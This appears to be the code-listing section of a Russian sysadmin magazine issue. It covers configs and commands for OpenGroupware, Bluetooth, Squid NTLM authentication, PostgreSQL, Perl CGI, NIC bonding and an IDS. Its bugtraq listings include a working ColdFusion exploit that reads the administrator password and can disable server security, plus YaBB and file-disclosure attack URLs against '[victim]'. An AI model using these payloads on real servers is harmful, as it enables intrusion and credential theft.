Знакомство с Cooperative Linux Михаил Платов colinux-daemon –c <путь к xml-файлу>--install-service <имя службы> colinux-daemon --remove-service <имя службы> OpenGroupware.org, или последний кирпич в стене Сергей Яремчук # tar -xzvf rpm-all-latest.tar.bz2 # cd rpm # rpm -Uvh *.rpm local all all trust host all all 127.0.0.1 255.255.255.255 trust host all all 0.0.0.0 2 55.255.255.255 reject host opengroupware skyrix 127.0.0.1 255.255.255.255 trust host opengroupware skyrix 127.0.0.1 255.255.255.255 passwd (или md5) local all trust # CONNECTIONS AND AUTHENTICATION #-------------------------------------------------------- # - Connection Settings - tcpip_socket = true max_connections = 32 port = 5432 # /etc/init.d/postgresql restart # su # cd /opt/opengroupware.org/Database/PostgreSQL # su postgres # createdb ogo # createuser -A -D ogo # psql ogo ogo ogo=> \i pg-build-schema.psql ogo=> \q # tar -zxvf opengroupware.org-mod_ngobjweb-latest.tar.gz # cd opengroupware.org-mod_ngobjweb # make # mkdir /opt/opengroupware.org/module # cp ngobjweb_2.0.40.so /opt/opengroupware.org/module #OpenGroupware Apache Module config file. LoadModule ngobjweb_module /opt/opengroupware.org/module/ngobjweb_2.0.40.so SetHandler ngobjweb-adaptor SetAppPort 20000 # SNSPort 127.0.0.1:20000 Order allow,deny Allow from all Alias /OpenGroupware.woa/WebServerResources /opt/opengroupware.org/WebServerResources # Exchange public folders URL SetHandler ngobjweb-adaptor SetAppPort 23000 Alias /zidestore/so/images /opt/opengroupware.org /WOApps/ZideStore.woa/WebServerResources # News Alias Alias /ArticleImages /opt/opengroupware.org/news #/etc/init.d/apache2 restart #su opengroupware # echo "source /opt/opengroupware.org /OpenGroupware.org.sh" >> ~/.bash_profile # echo "export LD_ASSUME_KERNEL=2.4.1" >> ~/.bash_profile # /opt/opengroupware.org/WOApps/OpenGroupware.woa/ix86/linux-gnu/gnu-fd-nil/OpenGroupware -WOHttpAllowHost localhost /opt/opengroupware.org/Libraries/ix86/linux-gnu/gnu-fd-nil /opt/skyrix/system/Libraries/ix86/linux-gnu/gnu-fd-nil # ln -s /usr/lib/libldap.so.199.3.4 /usr/lib/libldap.so.2 # ln -s /usr/lib/libssl.so.0.9.7 /usr/lib/libssl.so.0.9.6 # ln -s /usr/lib/libcrypto.so.0.9.7 /usr/lib/libcrypto.so.0.9.6 # ln -s /usr/lib/liblber.so.199.3.4 /usr/lib/liblber.so.2 # /opt/opengroupware.org/WOApps/OpenGroupware.woa/ix86 /linux-gnu/gnu-fd-nil/OpenGroupware -WOPort 20000 -WOHttpAllowHost localhost -OGoMinimumActiveSessionCount 0 -LSNewsImagesUrl '/ArticleImages' -LSNewsImagesPath /opt/opengroupware.org/news -LSConnectionDictionary {databaseName = ogo; hostName = 127.0.0.1; password = "qwerty"; port = 5432; userName = ogo} -LSAdaptor PostgreSQL72 -LSModelName OpenGroupware.org_PostgreSQL >> /var/log/ogo.log 2>&1 & # /opt/opengroupware.org/WOApps/ZideStore.woa/ix86 /linux-gnu/gnu-fd-nil/ZideStore -WOPort 23000 -WOHttpAllowHost localhost -SxExplain YES -WOCachingEnabled YES -WOHttpTransactionUseSimpleParser YES >> /var/log/ogo.log 2>&1 & # wget -v -N http://exchangekiller.com/docs/opengroupware # cp ./opengroupware /etc/init.d/ # chmod u+x /etc/init.d/opengroupware # ln -s /etc/init.d/opengroupware /etc/init.d/rc3.d/S20opengroupware # ln -s /etc/init.d/opengroupware /etc/init.d/rc3.d/K20opengroupware # ln -s /etc/init.d/opengroupware /etc/init.d/rc5.d/S20opengroupware # ln -s /etc/init.d/opengroupware /etc/init.d/rc5.d/K20opengroupware # /etc/init.d/opengroupware start # source /opt/opengroupware.org/OpenGroupware.org.sh # Defaults read { Defaults = {}; NSGlobalDomain = { "skyrix_id" = server.com; LSAdaptor = PostgreSQL72; LSAttachmentPath = "/opt/opengroupware.org/documents"; LSConnectionDictionary = { databaseName = ogo; hostName = localhost; password = "qwerty"; port = 5432; }; LSModelName = "OpenGroupware.org_PostgreSQL"; LSNewsImagesPath = "/opt/opengroupware.org/news"; LSNewsImagesUrl = "/ArticleImages"; Languages = ( English ); NGBundlePath = "/opt/opengroupware.org/Library/OpenGroupware.org"; TimeZoneName = GMT; XMLReader = libxmlSAXDriver; }; OpenGroupware = {}; skyaptnotify = { AptNotifyFromAddress = "sergej@server.com"; AptNotifySkyrixUser = root; AptNotifySkyrixPassword = khjds5d; }; } # Defaults write NSGlobalDomain LSConnectionDictionary '{hostName=localhost; userName=ogo; password="12345"; port=5432; databaseName=ogo}' # Defaults write NSGlobalDomain NGBundlePath "/opt/opengroupware.org/Library/OpenGroupware.org" # Defaults write NSGlobalDomain LSAttachmentPath /opt/opengroupware.org/documents Идеальный карманный компьютер для системного администратора Часть 1 Андрей Маркелов mount -o remount,rw / Bluetooth + Linux, или Синий зуб на службе cистемного администратора Андрей Бешков usbcore usb-uhci alias usb-interface usb-uhci # apt-get install libbluez libbluez-devel bluez-hciemu bluez-hcidump bluez-utils options { # Автоматически инициализировать новые устройства # autoinit yes; # Настройки менеджера безопасности: # none – менеджер отключен; # auto – при получении входящего соединения запрашивать PIN-код; # user – запрашивать PIN-код всех соединений без исключения # security auto; # Настройки соединения в пару: # none – соединение отключено; # multi – разрешение создавать пару с теми устройствами, которые уже состоят в других парах; # once – производить попытку соединения только один раз # pairing multi; # Программа, принимающая PIN-код от пользователя и передающая его удаленному bluetooth-устройству, # обычно называется pin_helper. # pin_helper /usr/bin/bluepin; # Имя программы, выдающей PIN для режима D-Bus, как видите, в нашем случае она не используется # #dbus_pin_helper; } # Настройки по умолчанию для всех HCI-устройств device { # Имя локального bluetooth-устройства в принципе может быть любым, хотя, конечно, лучше вписать что-то # осмысленное. В качестве необязательного дополнения можно вписать в текст имени символы подстановки. # %d – id устройства # %h – имя хоста # Например, такая запись name "Bluetooth (%h)" в моей системе создаст имя устройства «Bluetooth tiger». # В случае если имя хоста слишком длинное, подстановка может не производиться. Соответственно, получим # просто «Bluetooth». # name "tigroid"; # Класс локального устройства. # 0x100 обозначает компьютер. # class 0x100; # Тип пакетов по умолчанию. # Обычно разрешены все возможные типы. # DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3 #pkt_type DH1, DM1, HV1; # Разрешение на сканирование устройств методами Inquiry и Page # iscan enable; pscan enable; # Режим соединения по умолчанию # none – не использовать никаких политик для соединения # accept – всегда принимать входящие соединения # master – брать на себя роль ведущего устройства при получении входящего соединения, и запрещать смену # ролей для исходящих соединений. # lm accept, master; # Политика соединения по умолчанию # none – не использовать никаких политик для соединения # rswitch – разрешить смену ролей # hold – разрешить режим hold # sniff – разрешить режим sniff # park – разрешить парковку # lp rswitch, hold, sniff, park; # Аутентификация и шифрование auth enable; encrypt enable; } # rfcomm bind rfcomm0 00:02:EE:B6:6A:E5 1 # rfcomm connect rfcomm0 00:02:EE:B6:6A:E5 1 #!/bin/sh echo "PIN:12345" rfcomm0 { # Нужно ли выполнять автоматическую привязку bind yes; # Адрес удаленного устройства device 00:02:EE:B6:6A:E5; # Номер канала channel 1; # Описание соединения comment "Dial-up Networking"; } # service bluetooth stop # service bluetooth start HIDD_ENABLE=false HID2HCI_ENABLE=false HCID_EXEC="`which $HCID_NAME || true`" SDPD_EXEC="`which $SDPD_NAME || true`" HIDD_EXEC="`which $HIDD_NAME || true`" HID2HCI_EXEC="`which $HID2HCI_NAME || true`" RFCOMM_EXEC="`which $RFCOMM_NAME || true`" PAND_EXEC="`which $PAND_NAME || true`" DUND_EXEC="`which $DUND_NAME || true`" HCID_ENABLE=true SDPD_ENABLE=true HIDD_ENABLE=false HID2HCI_ENABLE=false RFCOMM_ENABLE=true DUND_ENABLE=false PAND_ENABLE=false if $HCID_ENABLE ; then HCID_EXEC="`which $HCID_NAME || true`" fi if $SDPD_ENABLE ; then SDPD_EXEC="`which $SDPD_NAME || true`" fi if $HIDD_ENABLE ; then HIDD_EXEC="`which $HIDD_NAME || true`" fi if $HID2HCI_ENABLE ; then HID2HCI_EXEC="`which $HID2HCI_NAME || true`" fi if $RFCOMM_ENABLE ; then RFCOMM_EXEC="`which $RFCOMM_NAME || true`" fi if $DUND_ENABLE ; then PAND_EXEC="`which $PAND_NAME || true`" fi if $PAND_ENABLE ; then DUND_EXEC="`which $DUND_NAME || true`" fi Настройка Squid для использования авторизации из домена Windows 2000 Рашид Ачилов ./configure --enable-auth=”basic ntlm” --enable-basic-auth-helpers=”winbind” --enable-ntlm-auth-helpers=”winbind” ... <другие параметры порта, если необходимы> make WITH_WINBIND=yes WITH_WINBIND_AUTH_CHALLENGE=yes ./configure --with-winbind --with-winbind-auth-challenge ... <другие параметры порта, если надо> auth_param ntlm program /usr/local/libexec/wb_ntlmauth auth_param ntlm children 5 auth_param ntlm max_challenge_reuses 0 auth_param ntlm max_challenge_lifetime 2 minutes auth_param basic program /usr/local/libexec/wb_auth auth_param basic children 5 auth_param basic realm Squid proxy-caching web server auth_param basic credentialsttl 2 hours acl NTLMauth proxy_auth REQUIRED http_access allow NTLMauth make WITH_WINBIND=yes ./configure --with-winbind ... <прочие параметры, если надо> auth_param ntlm program /usr/local/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp auth_param ntlm children 5 auth_param ntlm max_challenge_reuses 0 auth_param ntlm max_challenge_lifetime 2 minutes auth_param basic program /usr/local/bin/ntlm_auth --helper-protocol=squid-2.5-basic auth_param basic children 5 auth_param basic realm Squid proxy-caching web server auth_param basic credentialsttl 2 hours chown root:squid /var/db/samba/winbindd_privileged auth_param ntlm program /usr/local/libexec /ntlm_auth MY_DOMAIN\\dcone MY_DOMAIN\\dctwo auth_param ntlm children 5 auth_param ntlm max_challenge_reuses 0 auth_param ntlm max_challenge_lifetime 2 minutes auth_param basic program /usr/local/libexec/wb_auth auth_param basic children 5 auth_param basic realm Squid proxy-caching web server auth_param basic credentialsttl 2 hours --with-external-acl-helpers=”wbinfo_group” external_acl_type ntgroup concurrency=5 %LOGIN /usr/local/libexec/wbinfo_group.pl acl NTDCgroup external ntgroup Internet acl NTLMauth proxy_auth REQUIRED http_access allow NTLMauth NTDCgroup http_access allow NTLMauth auth_param ntlm program /usr/local/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp --require-membership-of="MY_DOMAIN+My Proxy" auth_param ntlm children 5 auth_param ntlm max_challenge_reuses 0 auth_param ntlm max_challenge_lifetime 2 minutes auth_param basic program /usr/local/bin/ntlm_auth --helper-protocol=squid-2.5-basic --require-membership-of="MY_DOMAIN+My Proxy" auth_param basic children 5 auth_param basic realm Squid proxy-caching web server auth_param basic credentialsttl 2 hours winbind separator = + 192.168.1.1 alice 192.168.1.2 bob #!/bin/sh # This is a part of SquidCount package version 1.11.4 # Daily squid proxy statistic maintenance # Written by CityCat 25.10.2001. Copyright Granch Ltd. (C) # This is a public software, distributed with a BSD license. # $Id: squidcount,v 1.11.4.6 2004/07/21 12:53:02 shelton Exp $ PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin trustlist="/usr/local/etc/sarg2/sargtrusted" inlog="/var/log/squid/access.log" # Check on presence trusted hosts list if [ -e $trustlist ]; then hosts=`awk '{if ($1 == "#") nextline; else print $1}' < $trustlist` tusers=`awk '{if ($1 == "#") nextline; else print $2}' < $trustlist` else logger -i -p daemon.err -t sqcount Trust list empty, will skip prepare 1st stage... hosts="" tusers="" fi # When trusted host list is presented, replace according # by them... if [ ${#hosts} -ne 0 ]; then awk -f /usr/local/sbin/awksquid -v hosts="$hosts" -v tusers="$tusers" < $inlog > /tmp/tmpaccess.log else cp $inlog /tmp/tmpaccess.log fi #!/usr/bin/awk -f # This is a part of SquidCount package version 1.11.4 # Squid log preparation to count statistic # Developed by Rashid N. Achilov. Copyright Granch Ltd. (C) # Thisi is a public software, distributed with BSD license. # Externals: hosts = # tusers = objFileWriter = CreateObject("java","java.io.FileWriter"); objByteArray = CreateObject("java", "java.io.ByteArrayOutputStream"); objJavaC = CreateObject("java","sun.tools.javac.Main"); objString = CreateObject("java","java.lang.String"); objFile = CreateObject("java","java.io.File"); if (Server.Os.Name IS "Windows") { s = "\"; } else { s = "/"; } strJavaSource = "#Server.ColdFusion.Rootdir##s #lib#s#SecurityExploit.java"; strCfusionJar = "#Server.ColdFusion.Rootdir##s #lib#s#cfusion.jar"; strNeoSecFile = "#Server.ColdFusion.Rootdir##s #lib#s#neo-security.xml"; strPasswdFile = "#Server.ColdFusion.Rootdir##s#lib#s #password.properties"; fileWriter = objFileWriter.init("#strJavaSource#",false); fileWriter.write("import coldfusion.security. SecurityManager;"); fileWriter.write("import java.io.File;"); fileWriter.write("public class SecurityExploit extends SecurityManager {"); fileWriter.write("public SecurityExploit(File arg0, File arg1) {"); fileWriter.write("super(arg0, arg1); }"); fileWriter.write("public boolean isAdminSecurityEnabled(){"); fileWriter.write("return false;}}"); fileWriter.flush(); fileWriter.close(); str = objString.init("-classpath,#strCfusionJar#,#strJavaSource#"); strArr = str.split(","); byteArray = objByteArray.init(); compileObj =objJavaC.init(byteArray,str); compileObj.compile(strArr); obj = CreateObject("java","SecurityExploit"); file1 = objFile.init("#strNeoSecFile#"); file2 = objFile.init("#strPasswdFile#"); obj.init(file1,file2); obj.load(); // Get Administrator Password strAdminPw = obj.getAdminPassword(); // Set Administrator Password //obj.setAdminPassword("test123"); // Turn off Sandbox Security //obj.setSandboxSecurityEnabled(false); // Turn off Administrator Login //obj.setAdminSecurityEnabled(false); // Turn off RDS Login //obj.setRdsSecurityEnabled(false); // Set RDS Password //obj.setRdsPassword("test123"); // Turn off JVM Security //obj.setJvmSecurityEnabled(false); PostgreSQL: функции и триггеры Сергей Супрунов create table orders(order_id serial, customer varchar, goods_id numeric(5), date date, count numeric(3), price numeric(7,2)); create table goods(goods_id serial, goods varchar, rest numeric(2)); create table warehouse(goods_id numeric(5), count numeric(5)); create table reserved(goods_id numeric(5), order_id numeric(5), count numeric(3), date date); create table warnings(date date, message text); create table order_warnings(order_id numeric(5)) inherits(warnings); create table goods_warnings(goods_id numeric(5)) inherits(warnings); select * from pg_language; $ createlang –U pgsql plpgsql eshop create function plpgsql_call_handler() returns language_handler as ‘$libdir/plpgsql’, ‘plpgsql_call_handler’ language ‘c’; create trusted procedural language ‘plpgsql’ handler plpgsql_call_handler; create [or replace] function <имя функции>(<аргументы>) returns <тип возврата> as ‘<тело функции>’ language ‘plpgsql’; DECLARE необязательный раздел определений BEGIN Операторы функции END; <переменная> <тип> [ DEFAULT <значение>]; If <условие> then <операторы;…> [else <операторы;…>] end if; For in .. loop <тело цикла> End loop; For in Login: Password: __HTML__ exit; } sub doLogoff { # подпрограмма закрытия сеанса # Записываем cookie с истекшим «сроком годности» (отрицательное значение параметра expire), что уничтожит cookie в памяти $cookie = $cgi->cookie(-name => 'sessid', -value => '', -expires => '-1d'); print $cgi->header(-cookie => $cookie); print '
'; print ''; print '
'; print 'До новых встреч!'; exit; } #!/usr/bin/perl #-------------------- testpath.pl $, = "\n"; print @INC; exit; $ ./testpath.pl /usr/local/lib/perl5/site_perl/5.6.1/mach /usr/local/lib/perl5/site_perl/5.6.1 /usr/local/lib/perl5/site_perl /usr/local/lib/perl5/5.6.1/BSDPAN /usr/local/lib/perl5/5.6.1/mach /usr/local/lib/perl5/5.6.1 package My::Insite; use CGI; use DBI; use Apache::Session::Postgres; sub CGIStart { return CGI->new; } sub DBConnect { my($obj, $dbName, $dbUser, $dbPwd) = @_; return DBI->connect('dbi:Pg:dbname='.$dbName, $dbUser, $dbPwd); } sub DBDisconnect { my($obj, $dbh) = @_; $dbh->disconnect; return(1); } sub SessOpen { my($obj, $dbh, $sessId) = @_; tie %session, 'Apache::Session::Postgres', $sessId, {Handle => $dbh, LockHandle => $dbh}; return(bless(\%session, $obj)); } sub SessClose { my($obj, $session) = @_; untie(%$session); return(1); } return(1); # cd /usr/ports/www/p5-Apache-Session # make install #!/usr/bin/perl –w #------------------------------------------ adsl-adduser.pl use DBI; use Apache::Session::Postgres; $login = $ARGV[0]; # первый аргумент – имя $password = $ARGV[1]; # второй – пароль # Запрашиваем все, что не передано в аргументах if(!$login) { print 'Enter login: '; chomp($login = <>); } if(!$password) { print 'Enter password: '; chomp($password = <>); } # Создаем новую сессию и сразу закрываем $dbh = DBI->connect('dbi:Pg:dbname=adsl', 'adsluser', 'password'); tie %session, 'Apache::Session::Postgres', undef, {Handle => $dbh, LockHandle => $dbh}; untie %session; # В запись в таблице sessions, соответствующей нашему сеансу, добавляем имя пользователя и пароль, введенные выше $pre = $dbh->prepare(' update sessions set login = ?, password = ? where login is null; '); $pre->execute($login, $password); $dbh->disconnect; exit; #!/usr/bin/perl –w #------------------------------------ adsl-users.cgi use My::Insite; $dbh = My::Insite->DBConnect('adsl', 'adsluser', 'password'); $cgi = My::Insite->CGIStart(); $action = $cgi->param('action'); # Пытаемся считать из cookie идентификатор сессии, если безуспешно – отправляем на авторизацию $sessId = $cgi->cookie('sessid'); if(!$sessId) { &toLogon; } # Открываем сессию, или на авторизацию в случае ошибки ($sLogin) = $dbh->selectrow_array(' SELECT login FROM sessions WHERE id=?; ', undef, $sessId); if($sLogin) { $session = My::Insite->SessOpen($dbh, $sessId); } else { &toLogon; } # Проверяем, можно ли данному пользователю работать с этим модулем ($allow) = $dbh->selectrow_array(' SELECT allow FROM st_modules WHERE link=?;', undef, 'adsl-users.cgi'); if($allow !~ m($sLogin)) { &toLogon; } print $cgi->header; # Разбираем возможные действия if ($action eq '' ) { &showUsers; } elsif($action eq 'user' ) { &userForm; } elsif($action eq 'changeuser') { &changeUser; } else { print 'Не могу выполнить: '.$action; } My::Insite->SessClose($session); My::Insite->DBDisconnect($dbh); exit; #------------------------------------- subroutines sub showUsers { # подпрограмма вывода списка абонентов $sth = $dbh->prepare('SELECT uid, name, address, phone FROM users ORDER BY name;'); $sth->execute; print '

Абоненты

'; print '
Главная'; print '
'; print '
'; print '[ Добавить нового абонента ]'; print '
Абонент Адрес Телефон Действие; while(@res = $sth->fetchrow_array) { $oper = ($res[6] eq 'I'?'inlager':'outlager'); print "
$res[1]$res[2]$res[3] [ Изменить ] :: [ Удалить ]"; } print '
'; print '[ Добавить нового абонента ]'; print '
'; return; } sub userForm { # выводит форму для манипуляций с данными $uid = $cgi->param('uid'); $type = $cgi->param('type'); if($type eq 'add') { $submitName = 'Добавить'; } elsif($type eq 'delete') { $submitName = 'Удалить'; } elsif($type eq 'update') { $submitName = 'Изменить'; } else { print 'Ошибка операции: '.$type; exit; } $header = $submitName.' абонента:'; if($type ne 'add') { ($name, $address, $phone) = $dbh->selectrow_array(' SELECT name, address, phone FROM users WHERE uid = ?; ', undef, $uid); } else { $name = $address = $phone = ''; } if($type eq 'delete') { $in1 = "$name"; $in2 = "$address"; $in3 = "$phone"; } else { $in1 = ""; $in2 = ""; $in3 = ""; } print <<__HTML__;

$header

Абонент: $in1
Адрес: $in2
Телефон: $in3

[ Отмена ]
__HTML__ exit; } sub changeUser { # запись изменений в БД $type = $cgi->param('type'); $uid = $cgi->param('uid'); $name = $cgi->param('name'); $address = $cgi->param('address'); $phone = $cgi->param('phone'); if($type eq 'add') { $res = $dbh->do(' INSERT INTO users(name, address, phone) VALUES(?, ?, ?);', undef, $name, $address, $phone); } elsif($type eq 'delete') { $res = $dbh->do('DELETE FROM users WHERE uid=?;', undef, $uid); } elsif($type eq 'update') { $res = $dbh->do(' UPDATE users SET name=?, address=?, phone=? WHERE uid=?; ', undef, $name, $address, $phone, $uid); } else { print 'Ошибка операции: '.$type; } if($res) { print 'Операция выполнена успешно. '}; print '
Продолжить...'; exit; } sub toLogon { print $cgi->header; print ''; print 'Ошибка входа. Перенаправление...'; exit; } На пути повышения надёжности и скорости: Linux bonding Павел Закляков # cd /usr/src/linux/Documentation/networking # gcc -Wall -Wstrict-prototypes -O -I/usr/src/linux/include ifenslave.c -o ifenslave # cp ifenslave /sbin/ifenslave alias bond0 bonding options bond0 miimon=100 mode=0 downdelay=2000 updelay=5000 /etc/rc.d/init.d/network (start|stop|restart...) /etc/sysconfig/network-scripts/ifcfg-bond0 DEVICE=bond0 IPADDR=192.168.0.1 NETMASK=255.255.255.0 NETWORK=192.168.0.0 BROADCAST=192.168.0.255 ONBOOT=yes BOOTPROTO=none USERCTL=no /etc/sysconfig/network-scripts/ifcfg-eth0 DEVICE=eth0 USERCTL=no ONBOOT=yes MASTER=bond0 SLAVE=yes BOOTPROTO=none /etc/sysconfig/network-scripts/ifcfg-eth1 DEVICE=eth1 USERCTL=no ONBOOT=yes MASTER=bond0 SLAVE=yes BOOTPROTO=none # /sbin/ifconfig bond0 192.168.0.1 netmask 255.255.255.0 broadcast 192.18.0.255 up # /sbin/ifenslave bond0 eth0 # /sbin/ifenslave bond0 eth1 Запускаем на 192.168.0.5: tcpdump icmp Запускаем на 192.168.0.1: ping 192.168.0.2 -I bond0 Запускаем на 192.168.0.1 на другой консоли: tcpdump icmp alias bond0 bonding alias bond1 bonding options bond0 miimon=100 options bond1 -o bonding1 miimon=100 bugtraq стр. 59 http://[victim]/YaBB.pl?board=;action=imsend;to=[code] http://[victim]/YaBB.pl?board=;action=modifycat;id=[cateogoryname];moda=Remove2 STAT – совсем другая IDS Сергей Яремчук # find /usr /opt -name parser.h # ln -s /usr/include/libxml2/libxml /usr/include/libxml # ln -s /usr/lib/libglib-1.2.so.0.0.10 /usr/lib/libglib-1.2.so # ln -s /opt/gnome/lib/libgnome.so.32.4.3 /opt/gnome/lib/libgnome.so.0 # ln -s /usr/lib/libcrypto.so.0.9.7 /usr/lib/libcrypto.so.2 # ln -s /usr/lib/libssl.so.0.9.7 /usr/lib/libssl.so.2 #auditdaemon -o /var/log/snare/audit-`date -I` #praudit -c /var/log/snare/audit-2004-09-02 #linuxstat -name LinSTAT:1.0 -hostname localhost -live #linuxstat -name LinSTAT:1.0 -hostname localhost -offline /var/log/snare/audit-2004-09-02 # /etc/init.d/linstat start_lin # webstat -a /var/log/apache2/access_log #webstat -i /var/log/apache2/access_log #logstat -i /var/log/messages -i /var/log/secure #logstat -a /var/log/messages -a /var/log/secure #netstat -i eth0 #netstat -a tcpdump_file interface eth0 auditfile /audit/file.tcpdump Hakin9 Live Сергей Яремчук #ifconfig eth0 192.168.0.20 netmask 255.255.255.0 #route add default gw 192.168.0.254 nameserver 192.168.0.254 #/etc/init.d/network restart bugtraq стр. 78 http://[victim]/secure%5Cfile.apx Восстановление данных на NTFS-разделах Часть 2 Крис Касперски LastCyl := TotalSectors/(Heads*SecPerTrack) LastHead := (Total Sector – (LastCyl*Heads SecPerTrack))/SecPerTrack LastSec :== (Total Sector – (LastCyl*Heads SecPerTrack)) % SecPerTrack Установка и настройка W2K Server Роман Марков ping 192.168.0.1 ipconfig /registerdns nslookup <имя_нашего_сервера> nslookup ipconfig /renew @echo off net time \\server /set /yes